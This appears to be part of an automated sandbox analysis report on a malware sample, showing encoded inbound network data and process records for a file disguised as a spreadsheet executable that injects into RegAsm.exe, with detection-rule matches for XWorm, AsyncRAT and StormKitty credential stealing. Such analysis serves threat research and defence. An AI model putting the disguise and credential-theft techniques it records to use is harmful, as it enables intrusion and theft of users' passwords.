yA4iU/Seb5PGRjZfT36yX3/w0f3NvyFIrNsH8GWeE4j0qcvapMLBU7ksS+Fl24xESoQoaiHLiv6X7ryBbIUBUHn/d2OfmgNHmiUikSZE0/qAVajrrVbPOmknUxel3hqmYpe03flMgMtSfz/YhJ7SEytSsvOiHpSXU1CVTDSk2B+hhvA5VkPERg8dQ+Lg7dUSIkQSi3AomxLyOb6+TdvUTRELzbPE+pF55pqVDjghZyp0PrnrP5pqx8Zw2BeP4Ex
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 69 6f 73 33 54 58 70 77 45 56 73 64 65 57 59 32 73 63 35 6c 44 43 69 69 6d 63 48 64 70 62 6c 4b 4a 65 51 48 73 74 79 58 35 6b 59 67 77 33 6c 33 78 64 50 73 56 46 72 54 52 47 65 4e 74 4c 57 57 33 33 64 36 4e 44 30 52 4f 76 4b 77 41 41 58 37 6f 53 47 76 4b 72 66 58 2b 6e 72 47 4c 41 42 55 2b 35 71 38 61 34 65 4d 45 57 64 55 67 73 63 67 31 66 53 34 32 57 58 30 6b 32 49 56 57 59 79 34 65 71 51 4f 30 79 43 5a 52 46 7a 41 4b 50 6e 44 36 6c 55 78 6c 48 7a 74 58 7a 37 38 6d 6f 6c 78 32 44 67 74 55 36 57 42 67 6a 39 68 61 46 6e 64 2f 6b 67 74 6b 43 5a 70 5a 52 67 43 74 57 77 48 4a 47 59 74 33 30 53 4b 30 41 34 75 68 4a 46 36 70 78 36 79 31 56 61 4b 34 7a 50 66 76 2f 4f 54 70 4a 31 4f 47 38 45 54 4f 4a 73 47 4f 6b 69 53 6e 4d 6b 36 55 48 55 7a 65 6f 58 6f 79 31 6b Data Ascii: ios3TXpwEVsdeWY2sc5lDCiimcHdpblKJeQHstyX5kYgw3l3xdPsVFrTRGeNtLWW33d6ND0ROvKwAAX7oSGvKrfX+nrGLABU+5q8a4eMEWdUgscg1fS42WX0k2IVWYy4eqQO0yCZRFzAKPnD6lUxlHztXz78molx2DgtU6WBgj9haFnd/kgtkCZpZRgCtWwHJGYt30SK0A4uhJF6px6y1VaK4zPfv/OTpJ1OG8ETOJsGOkiSnMk6UHUzeoXoy1k
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 76 33 55 43 67 55 2b 66 47 4d 6c 45 64 35 36 50 48 31 66 69 65 59 6f 31 6a 6f 77 45 39 41 63 53 48 4a 59 6f 69 44 76 4c 77 44 35 77 68 33 38 4d 62 43 31 34 41 50 76 64 36 4b 56 78 2f 64 65 41 72 61 65 43 5a 31 75 63 67 38 35 6b 32 75 53 6d 46 4a 2f 79 70 37 63 6b 4c 75 30 47 63 70 4c 38 52 6a 4a 50 2f 51 4e 66 34 53 46 74 65 67 30 36 64 35 59 45 56 64 35 6b 47 6c 31 36 50 55 50 35 42 6e 46 5a 31 48 69 6a 6d 2b 41 6b 67 35 77 73 59 65 75 45 57 67 55 69 4f 79 2b 44 73 44 6c 32 48 2f 6b 41 33 68 78 54 53 6e 46 62 68 33 63 56 6d 4e 35 59 76 6b 72 63 69 59 6d 67 56 70 69 30 4d 65 7a 4b 70 67 51 4a 51 79 53 75 50 4c 39 37 33 4b 61 77 78 58 35 45 6a 7a 46 5a 41 70 48 69 72 4f 38 57 61 72 6b 45 68 4b 71 49 47 48 4c 79 31 65 76 4c 43 43 41 30 51 2f 33 75 6c 69 63 Data Ascii: v3UCgU+fGMlEd56PH1fieYo1jowE9AcSHJYoiDvLwD5wh38MbC14APvd6KVx/deAraeCZ1ucg85k2uSmFJ/yp7ckLu0GcpL8RjJP/QNf4SFteg06d5YEVd5kGl16PUP5BnFZ1Hijm+Akg5wsYeuEWgUiOy+DsDl2H/kA3hxTSnFbh3cVmN5YvkrciYmgVpi0MezKpgQJQySuPL973KawxX5EjzFZApHirO8WarkEhKqIGHLy1evLCCA0Q/3ulic
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 53 56 44 5a 4d 76 5a 65 68 6d 54 4a 49 67 43 48 4a 63 2b 51 46 41 52 2b 48 4d 4f 77 56 48 37 4e 33 77 76 54 45 41 51 53 45 37 73 6e 44 75 47 44 33 6b 63 2b 70 49 70 42 39 68 76 4f 35 64 48 51 4f 36 43 68 4b 48 6e 54 43 4c 7a 70 6a 61 2b 4f 74 6a 4b 32 41 4d 45 70 4b 37 2f 39 62 32 4e 2f 6e 48 39 7a 43 39 47 68 79 45 46 6a 6b 52 37 49 77 61 50 74 4c 63 75 44 77 4c 62 64 45 74 50 4d 5a 4e 55 57 36 50 64 58 6a 4c 2f 62 6f 73 47 31 48 68 75 70 65 53 45 59 56 37 2f 56 4d 69 71 4d 56 57 51 64 70 2b 71 36 33 67 46 6f 56 41 7a 36 6c 62 68 6c 6d 42 4a 62 6c 70 54 57 37 39 50 49 42 64 69 48 74 6d 75 32 71 6c 61 6c 53 45 37 41 45 46 46 34 2f 70 52 50 4f 33 2b 4d 77 71 46 69 43 38 64 33 56 44 73 63 66 66 36 6e 78 47 63 45 73 4e 35 4a 4a 7a 66 6e 78 78 6e 44 69 67 38 Data Ascii: SVDZMvZehmTJIgCHJc+QFAR+HMOwVH7N3wvTEAQSE7snDuGD3kc+pIpB9hvO5dHQO6ChKHnTCLzpja+OtjK2AMEpK7/9b2N/nH9zC9GhyEFjkR7IwaPtLcuDwLbdEtPMZNUW6PdXjL/bosG1HhupeSEYV7/VMiqMVWQdp+q63gFoVAz6lbhlmBJblpTW79PIBdiHtmu2qlalSE7AEFF4/pRPO3+MwqFiC8d3VDscff6nxGcEsN5JJzfnxxnDig8
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 56 34 62 31 39 47 49 79 73 71 6e 63 73 30 64 41 31 2b 59 4f 67 7a 34 5a 43 30 55 4f 48 47 34 78 78 65 72 64 62 57 4d 6a 30 34 6c 30 67 37 52 4a 76 42 31 37 57 6c 45 4b 6f 54 70 30 4b 4d 79 57 76 4a 58 4e 47 45 36 65 59 62 31 62 45 47 39 77 6e 4f 44 68 6a 48 50 62 59 6d 69 2b 7a 79 53 65 36 54 6e 75 7a 51 64 54 55 45 78 4d 30 4e 6a 31 51 69 43 30 5a 48 70 6e 69 4b 47 78 6e 4b 78 36 37 72 55 59 55 71 43 65 62 7a 38 59 76 41 74 70 49 67 41 55 72 6c 66 47 41 41 50 34 30 53 78 6f 43 44 61 42 66 74 71 71 68 67 58 39 62 38 64 7a 39 6d 71 7a 2f 65 73 79 4f 55 49 2b 41 66 50 54 75 51 4d 39 4b 2f 68 64 52 34 50 32 50 43 4f 33 4a 4b 74 48 43 31 57 2b 71 49 49 61 56 77 37 64 35 78 4e 74 77 44 51 48 33 36 39 4f 36 72 68 70 6c 55 64 62 53 71 64 31 7a 46 77 46 39 2b 51 Data Ascii: V4b19GIysqncs0dA1+YOgz4ZC0UOHG4xxerdbWMj04l0g7RJvB17WlEKoTp0KMyWvJXNGE6eYb1bEG9wnODhjHPbYmi+zySe6TnuzQdTUExM0Nj1QiC0ZHpniKGxnKx67rUYUqCebz8YvAtpIgAUrlfGAAP40SxoCDaBftqqhgX9b8dz9mqz/esyOUI+AfPTuQM9K/hdR4P2PCO3JKtHC1W+qIIaVw7d5xNtwDQH369O6rhplUdbSqd1zFwF9+Q
2024-09-26 11:26:10 UTC	1369	IN	Data Raw: 73 37 6f 78 34 53 48 46 65 68 57 65 38 6e 46 72 34 76 45 34 63 43 32 4d 44 30 34 73 72 45 39 74 67 73 52 64 4a 4f 38 42 69 72 6e 54 51 38 69 54 79 6c 66 65 41 48 57 4d 64 65 6d 67 55 78 33 71 47 63 53 47 51 52 44 6b 79 46 46 74 53 46 71 71 42 35 32 41 46 54 64 73 74 75 70 73 47 34 53 58 51 72 75 76 6d 68 52 50 68 75 74 30 4d 6b 63 73 5a 4b 51 73 41 66 52 5a 75 75 50 43 71 7a 68 30 6c 2b 6f 65 4b 6d 46 72 74 6a 5a 62 78 79 79 4b 62 59 38 66 4a 6b 4e 38 72 7a 51 50 77 32 33 53 41 78 58 6f 69 6e 58 4b 6b 6b 48 6b 48 72 70 34 56 69 48 49 74 53 45 7a 79 53 78 39 41 45 43 7a 43 42 75 68 4a 61 65 41 72 32 57 36 6a 53 2b 7a 36 75 36 67 48 4e 6a 41 69 36 4f 64 35 77 4e 4a 4a 41 31 58 30 45 67 4d 38 61 4b 75 41 30 4f 48 67 4c 70 53 56 58 76 64 64 68 52 49 45 4f 5a Data Ascii: s7ox4SHFehWe8nFr4vE4cC2MD04srE9tgsRdJO8BirnTQ8iTylfeAHWMdemgUx3qGcSGQRDkyFFtSFqqB52AFTdstupsG4SXQruvmhRPhut0MkcsZKQsAfRZuuPCqzh0l+oeKmFrtjZbxyyKbY8fJkN8rzQPw23SAxXoinXKkkHkHrp4ViHItSEzySx9AECzCBuhJaeAr2W6jS+z6u6gHNjAi6Od5wNJJA1X0EgM8aKuA0OHgLpSVXvddhRIEOZ

Target ID:	0
Start time:	07:26:08
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\rDoc5633276235623657_xls.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rDoc5633276235623657_xls.exe"
Imagebase:	0x970000
File size:	86'528 bytes
MD5 hash:	D5489DA5AA14ED9D71D8338EC41A1BC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1784666277.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1784666277.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	07:26:09
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x50000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	07:26:09
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000002.2652861730.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000002.2652861730.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	07:27:35
Start date:	26/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7008 -s 2044
Imagebase:	0x5c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true